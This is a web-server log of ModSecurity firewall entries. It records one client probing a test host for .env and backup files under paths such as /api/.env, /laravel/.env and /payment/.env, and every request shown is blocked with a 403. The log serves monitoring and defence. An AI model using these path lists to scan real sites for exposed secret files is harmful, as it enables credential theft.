[Wed Mar 11 20:56:52.077458 2026] [:error] [pid 2634339] [client 185.177.72.60:41806] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_sample"] [unique_id "abHJBCCgtlFRCZQ_mzOvlAAAAA8"]
[Wed Mar 11 20:56:52.077633 2026] [:error] [pid 2634339] [client 185.177.72.60:41806] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_sample"] [unique_id "abHJBCCgtlFRCZQ_mzOvlAAAAA8"]
[Wed Mar 11 20:56:52.077792 2026] [:error] [pid 2634339] [client 185.177.72.60:41806] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_sample"] [unique_id "abHJBCCgtlFRCZQ_mzOvlAAAAA8"]
[Wed Mar 11 20:56:52.183410 2026] [:error] [pid 2634323] [client 185.177.72.60:41836] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env.backup"] [unique_id "abHJBKPPzlNIonXxp6eEnQAAAAw"]
[Wed Mar 11 20:56:52.183702 2026] [:error] [pid 2634323] [client 185.177.72.60:41836] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env.backup"] [unique_id "abHJBKPPzlNIonXxp6eEnQAAAAw"]
[Wed Mar 11 20:56:52.183870 2026] [:error] [pid 2634323] [client 185.177.72.60:41836] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env.backup"] [unique_id "abHJBKPPzlNIonXxp6eEnQAAAAw"]
[Wed Mar 11 20:56:52.184875 2026] [:error] [pid 2634322] [client 185.177.72.60:41796] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "abHJBLVttqDN05FhB27JCgAAAAs"]
[Wed Mar 11 20:56:52.185002 2026] [:error] [pid 2634322] [client 185.177.72.60:41796] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "abHJBLVttqDN05FhB27JCgAAAAs"]
[Wed Mar 11 20:56:52.185116 2026] [:error] [pid 2634322] [client 185.177.72.60:41796] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "abHJBLVttqDN05FhB27JCgAAAAs"]
[Wed Mar 11 20:56:52.217130 2026] [:error] [pid 2634342] [client 185.177.72.60:41810] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v1/.env"] [unique_id "abHJBN0ogWVDBS0cZUmEqQAAABI"]
[Wed Mar 11 20:56:52.217347 2026] [:error] [pid 2634342] [client 185.177.72.60:41810] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v1/.env"] [unique_id "abHJBN0ogWVDBS0cZUmEqQAAABI"]
[Wed Mar 11 20:56:52.217495 2026] [:error] [pid 2634342] [client 185.177.72.60:41810] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v1/.env"] [unique_id "abHJBN0ogWVDBS0cZUmEqQAAABI"]
[Wed Mar 11 20:56:52.220622 2026] [:error] [pid 2634323] [client 185.177.72.60:41836] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/v2/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v2/.env"] [unique_id "abHJBKPPzlNIonXxp6eEngAAAAw"]
[Wed Mar 11 20:56:52.220807 2026] [:error] [pid 2634323] [client 185.177.72.60:41836] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v2/.env"] [unique_id "abHJBKPPzlNIonXxp6eEngAAAAw"]
[Wed Mar 11 20:56:52.220934 2026] [:error] [pid 2634323] [client 185.177.72.60:41836] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v2/.env"] [unique_id "abHJBKPPzlNIonXxp6eEngAAAAw"]
[Wed Mar 11 20:56:52.306751 2026] [:error] [pid 2634322] [client 185.177.72.60:41796] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/shared/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/.env"] [unique_id "abHJBLVttqDN05FhB27JCwAAAAs"]
[Wed Mar 11 20:56:52.306923 2026] [:error] [pid 2634322] [client 185.177.72.60:41796] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/.env"] [unique_id "abHJBLVttqDN05FhB27JCwAAAAs"]
[Wed Mar 11 20:56:52.307069 2026] [:error] [pid 2634322] [client 185.177.72.60:41796] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/.env"] [unique_id "abHJBLVttqDN05FhB27JCwAAAAs"]
[Wed Mar 11 20:56:52.462846 2026] [:error] [pid 2634322] [client 185.177.72.60:41796] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/shared/config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/config/.env"] [unique_id "abHJBLVttqDN05FhB27JDAAAAAs"]
[Wed Mar 11 20:56:52.463027 2026] [:error] [pid 2634322] [client 185.177.72.60:41796] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/config/.env"] [unique_id "abHJBLVttqDN05FhB27JDAAAAAs"]
[Wed Mar 11 20:56:52.463188 2026] [:error] [pid 2634322] [client 185.177.72.60:41796] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/config/.env"] [unique_id "abHJBLVttqDN05FhB27JDAAAAAs"]
[Wed Mar 11 20:56:52.530827 2026] [:error] [pid 2634211] [client 185.177.72.60:41818] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "abHJBE08hzg1BXieW_K38gAAAAI"]
[Wed Mar 11 20:56:52.531005 2026] [:error] [pid 2634211] [client 185.177.72.60:41818] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "abHJBE08hzg1BXieW_K38gAAAAI"]
[Wed Mar 11 20:56:52.531151 2026] [:error] [pid 2634211] [client 185.177.72.60:41818] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "abHJBE08hzg1BXieW_K38gAAAAI"]
[Wed Mar 11 20:56:52.604232 2026] [:error] [pid 2634322] [client 185.177.72.60:41796] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "abHJBLVttqDN05FhB27JDQAAAAs"]
[Wed Mar 11 20:56:52.604460 2026] [:error] [pid 2634322] [client 185.177.72.60:41796] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "abHJBLVttqDN05FhB27JDQAAAAs"]
[Wed Mar 11 20:56:52.604649 2026] [:error] [pid 2634322] [client 185.177.72.60:41796] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "abHJBLVttqDN05FhB27JDQAAAAs"]
[Wed Mar 11 20:56:52.652457 2026] [:error] [pid 2634211] [client 185.177.72.60:41818] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/core/.env"] [unique_id "abHJBE08hzg1BXieW_K38wAAAAI"]
[Wed Mar 11 20:56:52.652629 2026] [:error] [pid 2634211] [client 185.177.72.60:41818] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/core/.env"] [unique_id "abHJBE08hzg1BXieW_K38wAAAAI"]
[Wed Mar 11 20:56:52.652795 2026] [:error] [pid 2634211] [client 185.177.72.60:41818] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/core/.env"] [unique_id "abHJBE08hzg1BXieW_K38wAAAAI"]
[Wed Mar 11 20:56:52.836156 2026] [:error] [pid 2634322] [client 185.177.72.60:41796] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /payment/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/payment/.env"] [unique_id "abHJBLVttqDN05FhB27JDgAAAAs"]
[Wed Mar 11 20:56:52.836332 2026] [:error] [pid 2634322] [client 185.177.72.60:41796] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/payment/.env"] [unique_id "abHJBLVttqDN05FhB27JDgAAAAs"]
[Wed Mar 11 20:56:52.836491 2026] [:error] [pid 2634322] [client 185.177.72.60:41796] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/payment/.env"] [unique_id "abHJBLVttqDN05FhB27JDgAAAAs"]
[Wed Mar 11 20:56:53.055615 2026] [:error] [pid 2634335] [client 185.177.72.60:41746] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "abHJBYMnPAWHo4A6z1M10gAAAAk"]
[Wed Mar 11 20:56:53.055800 2026] [:error] [pid 2634335] [client 185.177.72.60:41746] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "abHJBYMnPAWHo4A6z1M10gAAAAk"]
[Wed Mar 11 20:56:53.055973 2026] [:error] [pid 2634335] [client 185.177.72.60:41746] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "abHJBYMnPAWHo4A6z1M10gAAAAk"]
[Wed Mar 11 20:56:53.226738 2026] [:error] [pid 2634343] [client 185.177.72.60:41754] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "abHJBUas0R32zSQmEomvSQAAABM"]
[Wed Mar 11 20:56:53.226913 2026] [:error] [pid 2634343] [client 185.177.72.60:41754] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "abHJBUas0R32zSQmEomvSQAAABM"]
[Wed Mar 11 20:56:53.227069 2026] [:error] [pid 2634343] [client 185.177.72.60:41754] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "abHJBUas0R32zSQmEomvSQAAABM"]
